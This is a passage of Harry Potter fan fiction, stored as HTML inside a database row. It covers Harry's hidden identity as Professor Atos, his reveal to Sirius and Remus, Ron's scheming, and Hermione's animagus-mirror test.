I&#8217;m never going to understand the man. </i>Harry sighed. <i>And note to self: Never let your shields down, especially not in his presence&#8230;</i></p>\n\n<p>~*~</p>\n\n<p>&#8220;Professor Atos?&#8221; </p>\n\n<p>Harry raised an eyebrow at the man who had entered his private &#8216;Hospital Wing&#8217;. &#8220;Yes, Mr. Storm? Anything I can help you with?&#8221;</p>\n\n<p>&#8220;Yes, I think there is,&#8221; the man answered. &#8220;Firstly, you have managed something the wizarding world has tried to accomplish for years; blocking the killing curse. Secondly, I do believe you are hiding something. I know about a &#8211;now dead- Death Eater couple, named Eric and Michelle Anderson, who you say you are the son of. As far as I know, they never had any children. Please explain this, Professor.&#8221; </p>\n\n<p>Harry smiled wryly. &#8220;I&#8217;ll do that, Mr. Storm,&#8221; he said, and waited until Jonathan met his gaze. &#8220;<i>Mr. Jonathan Storm. I&#8217;m going to tell you about the killing curse. But the matter concerning Eric and Michelle Anderson and me, you shall ignore. It doesn&#8217;t matter to you. When you leave this room, you will be content with the answer you got, and ask no more,</i>&#8221; he said, and Jonathan Storm&#8217;s eyes glazed over as Harry used his Persuasion Talent on him. Three seconds later he snapped out of it, looking confused for a couple of seconds.</p>\n\n<p>&#8220;Ahh, yes. I&#8217;d like to know how you managed to block the killing curse, Mr. Atos,&#8221; he said. &#8220;If my Aurors could block it, we would get an advantage on the Death Eaters.&#8221;</p>\n\n<p>&#8220;Yes, Mr. Storm, that&#8217;s an interesting question,&#8221; Harry said. &#8220;I figured it when I studied at Oxford. Oxford is a Muggle University,&#8221; he added when he saw Jonathan didn&#8217;t recognise it. &#8220;You see, when a human dies, all the cells in his or her body stop working. So when hit by the Avada Kedavra, this curse kill every cell in your body. However, I figured it is possible to fool it. What if you make an exact copy of every cell, and then lower the temperature in your real cells?&#8221; </p>\n\n<p>Jonathan&#8217;s eyes lit up. &#8220;The Avada Kedavra will &#8216;think&#8217; the copy is you, and that you are a dead thing. It cannot hurt a dead thing, so it will kill the copy, but not you. Brilliant, Mr. Atos!&#8221; </p>\n\n<p>Harry smiled. &#8220;Yes, but making an exact copy of yourself is a bit difficult, and a bit visible. So, I tried to make some kind of shield that the curse could mistake for me, and that was invisible. Therefore, I made a copy of my skin-cells, and made it invisible. Once used, it must be renewed. I hadn&#8217;t tested it on humans before. But I guess it worked, didn&#8217;t it?&#8221; He asked dryly. </p>\n\n<p>Jonathan grinned. &#8220;Still needs some work, as you were unconscious for a whole night and day. Better than dead, though.&#8221; <i>You bet. I would have managed quite fine if it hadn&#8217;t been for that damn wound.</i></p>\n\n<p>~*~</p>\n\n<blockquote><i>&#8220;You did that on purpose!&#8221; The male said, furious. The girl squirmed. &#8220;So you couldn&#8217;t join their attack. You know that means you have no useful information for me either?&#8221; the girl squirmed again at the threatening tone in the male&#8217;s voice. &#8220;Next time, don&#8217;t fake a fall off your broom to end up in the Hospital Wing before a big attock or something equally important, or you&#8217;ll regret it!&#8221; The girl tried to get loose from the grip he had on her shoulder. &#8220;Promise me that,&#8221; he hissed.</i></blockquote>\n\n<blockquote><i>&#8220;I-I promise,&#8221; she gasped, frightened, before jerking her arm away, and running down the corridor, towards the dungeons. The red-haired male followed her as she ran, a scowl on his face. But then it changed. The scowl disappeared, and was replaced with an expression of confusion, anger, hatred and regret. But it wasn&#8217;t directed at the girl.</i></blockquote>\n\n<blockquote><i>&#8220;What am I doing?&#8221; he muttered to himself. &#8220;What am I doing?&#8221;</i></blockquote>\n\n<p>Harry&#8217;s eyes flew open. He was in the Hospital Wing, and it was dark outside.</p>\n\n<p>&#8220;Oh, Ron, what are you doing?&#8221;</p>\n\n<p>~*~</p>\n\n<p>It was weird. Ron didn&#8217;t really know what to do. He was getting to Parvati, and he had an established, private spy among the Death Eaters. All he needed now, was to graduate and accomplish Auror training. He should be content. Yet he wasn&#8217;t. He wasn&#8217;t sure, but he thought it had something with this&#8230;&#8217;feeling&#8217;, in his stomach. He didn&#8217;t have any word for it, nor a way to describe it. But it was there. It wasn&#8217;t unfamiliar; he&#8217;d felt the same in his first year, when they tried to get the Stone before Quirrell, and in his second year, when Harry and Ginny were trapped in the Chamber of Secrets. Both times, Harry ran off with the honour. He&#8217;d also felt it in his fourth year, when Harry and Diggory were taken away by the portkey. He had in fact almost ruined everything with his jealousy, and almost destroyed his &#8216;friendship&#8217; with Harry. The boy had been so na&#239;ve, he had believed him when he told him he was sorry. Yet he didn&#8217;t deserve what he&#8217;d got. </p>\n\n<p>He&#8217;d had the same feeling this summer, when rumours said Harry was innocent. Later, Hermione had confirmed it, and told that Harry had escaped from Azkaban two years prior. Yet, he&#8217;d felt guilty because of that with Harry. Indeed, <i>guilty.</i> Can you believe that? He hadn&#8217;t been anything more than a tool to him anyway. </p>\n\n<p>But then again, it was this &#8216;feeling&#8217;. It came every time she was out on a meeting or an assignment given by the &#8216;Lord&#8217;. Every time, it felt like someone had hit him in his stomach. Maybe he was sick or something.</p>\n\n<p>_______________________</p>\n\n<p><b>* Shetark:</b> A curse that makes a person lose conciousness completely for at least ten minutes. Cast with more force,&nbsp; the victim will be unconcious for a longer amount of time.<b></b></p>\n\n<p>====================</p> '),
	(234, 8, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter Eight: Pure Power</b> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius sighed. Nothing, nothing,\nnothing. The man just showed up, saved a number of lives, and disappeared. To\nsum it up, they had very little information on him:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">One: He always wore crimson robes\nand a red cloak with golden rims. He always had his hood up, and this blasted\ngolden mask, so they could see neither his hair colour nor his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Two: He was a man. That much was\nsure now, as one of the Aurors had been close enough to see that he was\ncertainly <i>not </i>a woman. He had the height and body of a human, but one\ncould never know. They assumed he was a human however.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Three: He was <i style="mso-bidi-font-style:\nnormal">extremely</i> powerful, though not invincible; they knew almost for\nsure that he had been hurt during one of his battles, and he hadn&#8217;t appeared\nout of nowhere for a while after that. Sirius was sure that this man was even\nmore powerful than Dumbledore himself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Four: He certainly wasn&#8217;t on the\nDark side, though some of the Ministry seemed to think otherwise. Sirius had\nhad enough of the Ministry anyway, so he refused to think about it, as it would\nonly anger him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Five: He had appeared for the first\ntime last summer, almost seven month ago.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Six: Err&#8230; Well, there was no &#8220;Six&#8221;.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">That was why Sirius and Remus had\nspent the last few months in disguise (except under the full moon, that is),\nsearching for information among the criminals, low-ranking Death Eaters and\nnormal people. This meant you had to spend the better part of the night sitting\nin a pub or something, and other times waiting in the darkness for an informant.\nYet, they had found nothing. Sirius would rather search for his godson, but\nDumbledore said no. If Harry didn&#8217;t want to be found, then they shouldn&#8217;t\nsearch for him. Sirius slumped onto his bed in the small wizarding inn,\ngroaning. It had been many years since he was able to stay up the whole night\nand not show any sign of it the next day. Now he couldn&#8217;t really recall how he\nhad done it, or how youths did it today. But right now he just wanted to sleep.\nWas it age or Azkaban that had reduced him to a sleepy old wizard? Sirius\ndidn&#8217;t really care at the time; he was sound asleep before his head hit the\npillow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Go away!&#8221; Sirius muttered, and used\nhis hand to push away the &#8216;someone&#8217; who dared to interrupt his sleep. He hit\nnothing but air. There was a flapping of wings, then a hoot. Sirius turned over\nin his half-sleep, intending to go back to sleep, though hadn&#8217;t actually woken\nup. But sadly, this bed wasn&#8217;t as big as the one he&#8217;d managed to get used to\nafter he was pardoned. With a &#8216;thud&#8217;, he fell out of the bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ooof!&#8221; he exclaimed, before he\nnoticed the owl, which had caused his rather uncomfortable awakening. He glared\nangrily at the owl, which seemed completely unfazed. He got up from the floor,\nand freed the owl from its burden, though not very kindly. The owl took off\ninto the morning with a look that clearly said: &#8216;Really!&#8217; Sirius rolled his\neyes and unfolded the letter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">Sirius, Remus,</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">Return to Hogwarts immediately.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">Albus.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius frowned. Why were they so\nsuddenly ordered back to Hogwarts? Could something have happened? Nah, then\nDumbledore would have mentioned it. But wasn&#8217;t he very keen on finding the\nGolden Mask? After all, <i>he</i> had ordered them out on this mission. <i>Oh,\nwell,</i> Sirius thought. <i>He probably wants to tell us something that cannot\nbe told by owl because an owl could be intercepted. But what could that be? The\nattack? But that&#8217;s four days ago already. He would have owled sooner if it was\nthat. Wouldn&#8217;t he?</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Remus?&#8221; he called, knocking on the\ndoor leading into his friend&#8217;s room. &#8220;We&#8217;re going back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why so nervous, Christian?&#8221;\nDumbledore asked jovially. Harry scowled at him. Dumbledore chuckled.\n&#8220;Remember, you got yourself into this all alone. You <i style="mso-bidi-font-style:\nnormal">could</i> have told him two years ago.&#8221; Harry groaned. This was going\nto be more difficult than he thought. Honestly, he could use some sympathy!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Take it easy, Harry, he&#8217;s not going\nto kill you, you know.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh? You&#8217;re so sure about that?&#8221;\nHarry muttered under his breath. Unfortunately, Dumbledore heard him, and was\nclearly amused by it. As he heard someone on the stairs that led up to the\nHeadmaster&#8217;s office, Harry groaned again, before pulling himself together and\nputting on the emotionless expression of Christian Atos, the Defence Against\nthe Dark Arts Professor. Someone knocked on the door, and Dumbledore called:\n&#8220;Come in,&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius Black and Remus Lupin\nentered, both looking tired and worn out, but they smiled and shook hands with\nthe old Headmaster. They then noticed Christian (Harry), and frowned slightly,\nas if wondering why he was there. Harry inwardly grimaced as he was introduced\nto his godfather and Remus as &#8216;Professor Christian Atos, our Defence Against\nthe Dark Arts Professor&#8217;. Help!&nbsp; This <i style="mso-bidi-font-style:normal">was</i>\ngoing to be worse than he thought. Dumbledore seemed awfully amused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ahh,&#8221; Dumbledore said when they\nwere finished with the shaking of hands. &#8220;What do you have to report? Found\nanything?&#8221; Again, the two men shot suspicious glances at Christian.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing Albus.&#8221; Sirius said. &#8220;The\nman appears and disappears without a trace. People have begun to give him a new\nnick-name: &#8216;The Crimson Shadow&#8217;.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He comes and goes and no one knows\nwho he is.&#8221; Remus added. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Indeed, indeed.&#8221; Dumbledore said.\n&#8220;But I believe <i>I </i>have news about this &#8216;Golden Mask/Crimson Shadow&#8217;,&#8221; he\nsaid, which made Sirius and Remus jump in their chairs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh?&#8221; Remus said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221; Sirius exclaimed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes, indeed. He is sitting right\nthere,&#8221; Dumbledore said (still awfully amused), and nodded towards Christian,\nwho was now wearing the red and gold outfit of the Golden Mask. Remus and\nSirius spent the next few minutes as fish on dry land. Harry/Christian/The\nGolden Mask sighed, as they didn&#8217;t seem like they planned to find their tongues\nagain very soon.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;As a matter of fact, Christian Atos\nis not his true identity either, but that you may have guessed already,&#8221;\nDumbledore said, his eyes twinkling merrily. Harry glared at the Headmaster,\nwho was thoroughly amused, dropped both disguises, and stood there as just\nplain Harry. Well, there wasn&#8217;t much plain about him though.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Next moment, Harry found himself\nbeing strangled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;S-Sirius,&#8221; he managed to choke out.\n&#8220;I-I n-need to bre-athe!&#8221; Sirius released him from the bear hug, only to grab\nhim by the shoulders and shake him violently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Where have you been?&#8221; Sirius\nshouted. &#8220;I&#8217;ve been so worried! Why didn&#8217;t you come to me? I would have hidden\nyou those years you were supposed to be in Azkaban! And afterwards too!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius,&#8221; Harry said calmly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I never believed you were guilty,\nHarry, you know that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius,&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You are a free man now Harry, no, a\nfree boy. I&#8217;m your godfather, and I have promised to take care of you. Why\ndidn&#8217;t you come to me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius!&#8221; Harry shouted. Sirius\nstopped abruptly. &#8220;It was easiest that way,&#8221; he said softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How? What do you mean? Easier?&#8221; But\ndespite the question, Sirius understood. He&#8217;d been charged with murder himself,\nand he knew how hard it was to trust anyone after that. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed. This was going to be a\nlong day. And night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So Hermione is a Pectal, you&#8217;re a\nCitatio, and this prophecy claims that the two of you are those who shall cause\nthe downfall of Voldemort?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes, Remus. We cannot be entirely\nsure, of course, but that is probably it.&#8221; Harry answered patiently. Sirius and\nRemus nodded thoughtfully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Does Hermione know?&#8221; Sirius asked\nafter a while. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry grimaced. &#8220;She knows she&#8217;s a\nPectal. She doesn&#8217;t know about the prophecy or me yet. She has to know soon\nhowever.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius frowned at Harry&#8217;s grimace.\n&quot;And you&#8217;re not happy with it,&#8221; he said, half question, half statement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No. How do you think she will\nreact? First she believed me to be a murderer for two years, and now I&#8217;ve\ntricked her for half a year with this &#8216;Christian Atos&#8217; disguise. Do you think\nshe will take that easily?&#8221; Harry said grimly, and Remus shook his head. He&#8217;d\nbeen their teacher for a year, and knew Hermione pretty well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;She&#8217;ll feel betrayed, as she will\nunderstand you did it because you didn&#8217;t trust her. She won&#8217;t like it one bit.\nIt&#8217;s one heck of a mess you&#8217;ve got yourself into, Harry,&#8217; Remus said. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry grimaced again. &#8220;Maybe I\nshould have told her from the beginning, that would&#8217;ve made things so much\neasier,&#8221; he said, and Sirius nodded solemnly. &#8220;What a support you are,&#8221; Harry\nsaid, scowling at his godfather. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius grinned. &#8220;Harry, are you\nfrightened of her?&#8221; he asked, teasingly. Harry raised an eyebrow, but before he\ncould retort, Dumbledore interrupted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not of <i style="mso-bidi-font-style:\nnormal">Hermione,</i> but of her reaction,&#8221; he said mysteriously, and no one\nbut Harry understood. He didn&#8217;t want Hermione to be hurt because of what he\ndid, something she probably would be. He wanted her to&#8230; He wanted to trust her,\nand he wanted her to trust him. In more ways than one. Dumbledore&#8217;s knowledge\nof his feelings was quite disturbing and embarrassing, and Harry felt a small\nblush reach his checks. Luckily, Sirius didn&#8217;t notice, as he was trying to\ndecipher what Dumbledore had said, but Remus did. As realisation hit him, he\ncouldn&#8217;t help smiling a bit, but managed to hide it before Harry looked his\nway. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, I think that&#8217;s enough for\ntonight. You know where your quarters are, you will sleep there tonight, and\nwill be able to question Harry more tomorrow.&#8221; Dumbledore said, saving Harry\nfrom more pestering, something he was quite thankful for. As he was about to\nleave, he turned back to the Headmaster.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus, I&#8217;d like to test Hermione&#8217;s\nanimagi abilities next Saturday. As she isn&#8217;t a Shapeshifter like I am, she\nprobably has potential to be Multiple Animagus,&#8221; he said and Dumbledore nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes, I&#8217;ll tell Minerva to bring the\nmirror.&#8221; Harry changed back to Christian, and walked out of the office together\nwith Remus and his godfather, who gaped at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Multiple Animagus? But such a\nperson hasn&#8217;t existed for at least two thousand years!&#8221; Sirius said,\nastonished, as the gargoyle jumped aside and allowed them out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No, and that&#8217;s simply because both\nRowena Ravenclaw and Godric Gryffindor were Shapeshifters. A Shapeshifter has\nno Animagus ability whatsoever, because he or she can change into whatever he\nor she wants to change into. Thankfully, no one but a Citatio or a Pectal can\nbe a Shapeshifter. Or, that is, I don&#8217;t think so. I have to make research on\nthat one. However, as I guess you already know, Sirius, the ability to become\nan animagus depends on how powerful you are. My father was magically more\npowerful than you, and therefore, his form was bigger than yours, while you are\nmore powerful than Wormtail was &#8211;he must have been close to a squib by the way-\nas he is a very small one. If you are powerful enough you will be able to turn\ninto a magical animal. It depends on the size of course; a dog is no magical\nanimal, but yet you must be more powerful to be a dog than a moke. As Hermione\nis very powerful she will probably be able to be more than one animal and\nprobably some of them will be magical too,&#8221; Harry explained.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh, cool!&#8221; Sirius said, excited. <i style="mso-bidi-font-style:normal">He apparently didn&#8217;t know,</i> Harry mused. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That means that I&#8217;m more powerful\nthan Professor McGonagall, as she&#8217;s just a cat,&#8221; Sirius grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No, Sirius, you aren&#8217;t, as her form\nis not a <i>cat,</i> but part <i style="mso-bidi-font-style:normal">kneazle</i>.\nThey are magical.&#8221; Harry corrected. Sirius grin disappeared, and his face fell.\nHarry chuckled at his expression. &#8220;Don&#8217;t be so sad, Sirius; you aren&#8217;t far\nbehind her, as her form isn&#8217;t even half kneazle, only one fourth, and you could\nhave been a one fourth kneazle too, if only it had fitted your personality.\nWhich it doesn&#8217;t.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius grin came back. &#8220;Where did\nyou learn all these things, Harry? You haven&#8217;t turned into a book-worm, have\nyou?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry groaned. &#8220;One eighth, I&#8217;m sure\nof it. Kneazles are <i>smart</i>.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He said you were stupider than a\nkneazle, Sirius,&#8221; Remus kindly offered, as Sirius didn&#8217;t get it at once.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey!&#8221; Sirius exclaimed,\nmock-offended. Both Remus and Harry laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;By the way, Harry, when are you\ngoing to tell Ron and Hermione?&#8221; Remus asked. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed. &#8220;I&#8217;m going to tell\nHermione soon, I just have to find the right moment.&#8221; He said, and Remus nodded\nunderstanding. &#8220;As for Ron&#8230;&#8221; Harry smiled grimly. &#8220;I&#8217;m a Mind-reader, Remus. I\nprobably know Ron better than he knows himself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">During the next few days, the Daily\nProphet was doing big business. Articles about Lucius Malfoy and Arthur Weasley\nwere popping up every day, and headlines like: <i style="mso-bidi-font-style:\nnormal">CAN LUCIUS MALFOY BE TRUSTED AS OUR MINISTER?, ARTHUR WEASLEY, OUR NEXT\nMINISTER?, </i>could be seen. They were all written by Marice Newman, a popular\nyoung witch with a good reputation, and she claimed that she got what she wrote\nfrom an anonymous person, and that she tried to check if it was the truth or\nnot. However, she said, when someone asked, she wasn&#8217;t a hundred per cent sure\nwhat she wrote was right, but the wizarding world had to know. What if it was\ntrue? Could they risk getting a Minister who supported Voldemort, like half of\nthe wizarding world believed Malfoy did? People had to decide for themselves.\nNot surprisingly, Lucius Malfoy was fuming, and so was Lord Voldemort, because\nmuch of what Marice had written was indeed true, and if Malfoy now had ruined\nhis chances to become Minister&#8230; Well, Voldemort wasn&#8217;t happy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron was one of those who read the\npapers with great interest. If his father became the Minister, he wouldn&#8217;t have\nto get to Parvati. He could just go through his father. But Parvati confused\nhim. At first he&#8217;d been determined to get to her, -only as one of his tools, of\ncourse- but now it was different. It was like he couldn&#8217;t get himself to act\nfoolishly in love with her. He&#8217;d been able to do that before, but now it didn&#8217;t\nwork. Not that it mattered, if his father became the Minister. Ron felt a rush\nof excitement at the thought; he was closer to success than he&#8217;d ever been.\nWithout Hermione hanging over him as the know-it-all, -as since Harry was\nimprisoned, she had withdrawn into herself and concentrated on her studies\nonly- or Harry being there with the bloody Boy-Who-Lived title, he could become\nsomething big. Fame awaited him. He just had to kill Voldemort first, and the\nwhole world would be his. And <i style="mso-bidi-font-style:normal">she</i> was\nthe key to his success. His stomach flipped, as it always did when he thought\nabout her, and he frowned. Why did he do that every time he thought about her?\nOh, well. Probably just excitement. After all, she <i>was </i>the key.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Miss Granger,&#8221; Professor McGonagall\nsaid. &#8220;Do you know what this is?&#8221; Hermione stared blankly at her and the mirror\nMcGonagall had placed in front of her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No, Professor,&#8221; she answered\ntruthfully, however somewhat reluctantly, as she didn&#8217;t like the prospect of\nbeing clueless. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It is called an &#8216;Animagus Mirror&#8217;.\nWhen you look into this mirror, you will see what kind of animagus form you\nhave. You don&#8217;t know anything about this, because the dangers of becoming an\nanimagus are so great that we don&#8217;t want to tell the students about this. What\nif they should stumble across a mirror and try for themselves, without\nsupervision?&#8221; McGonagall said, and shot Sirius a glare. Sirius in his turn\nlooked as innocent as ever. Hermione saw Professor Atos raise an eyebrow in\namusement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,&#8221; McGonagall continued, &#8220;all\nyou have to do is to place yourself in front of the mirror, and the reflection\nwill show your animal.&#8221; Hermione nodded, and McGonagall enlarged the mirror\nwith a flick of her wand, so she could see all of herself. She noticed a small\nrustle, and saw Professor Atos coming up beside her so he could look into the\nmirror together with her, though not so close that he came into view in the\nmirror. He held his wand over a piece of parchment, and Hermione briefly\nwondered what he would do with it, but not for long, as her reflection started\nto change.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It didn&#8217;t exactly grow, because then\nit would have grown out of the mirror. She became brown all over, the same\ncolour as her hair. Her eyes stayed brown, as her reflection bent forwards. It\nobviously had more than two legs. Her neck stretched, her arms stretched, her\nlegs stretched. A long brown tail suddenly sprouted out of her spine, slightly\ndarker than the rest of her. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She was a horse. A brown, tall,\nproud and beautiful horse. Hermione guessed it was an Arabian Horse. She\nnoticed that Professor Atos&#8217;s wand was scribbling like mad. A description\nperhaps. She looked back at herself, awed by the beautiful creature she was\ncapable of turning into. Suddenly she started, as the picture changed again.\nShe saw that her reflection was shrinking. It got feathers. Dark brown and\nwhite feathers, and seconds later a peregrine falcon stood where the horse had\nbeen moments ago. Hermione&#8217;s jaw dropped. Was it possible to have more than <i style="mso-bidi-font-style:normal">one</i> shape? Professor Atos&#8217;s wand was\nstill scribbling furiously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor?&#8221; she asked bewildered,\nnot knowing what to do, but Professor Atos was concentrating on his wand. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She turned to McGonagall, who smiled\nproudly at her. &#8220;Just stand there, Miss Granger. It will be explained later,&#8221;\nshe said, and Hermione raised an eyebrow, but complied. The reflection changed\nagain, this time into a kneazle, brown with darker spots, and a beautiful whisk\nof a tale. Hermione was amazed and excited; she loved animals, and the prospect\nof being able to be one fascinated her and awed her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">From kneazle it changed into an\nabraxan, (Hermione gasped when she saw the beautiful winged horse) from abraxan\nto a wolf, from a wolf to a unicorn, from a unicorn to a tawny owl, from owl to\ndragon, (Sirius fainted, McGonagall had to sit down, Christian fought the urge\nto snicker at the two others, while scribbling furiously, Hermione had a d&#233;j&#224;\nvu from her first year, as she remembered Norbert.) from dragon to fox, from\nfox to tiger, from tiger to graphorn, and from graphorn to dragonfly.<i style="mso-bidi-font-style:normal"> </i>Then it changed back into her &#8216;real&#8217;\nreflection, which was practically bouncing up and down out of excitement. <i style="mso-bidi-font-style:normal">Twelve shapes!</i>&nbsp; She looked at\nMcGonagall, who was now gaping; she probably hadn&#8217;t expected <i style="mso-bidi-font-style:normal">twelve.</i> Much less that one of them was a\n<i style="mso-bidi-font-style:normal">dragon!</i> Sirius was obviously torn\nbetween awe and amazement. (he managed to express both pretty well, and yes, he\nhad recovered from his black-out) Professor Atos&#8217;s wand was still scribbling\nlike a mad-wand on the paper. Finally he looked up from his scribbling.</p>\n\n<p class="MsoNormal" 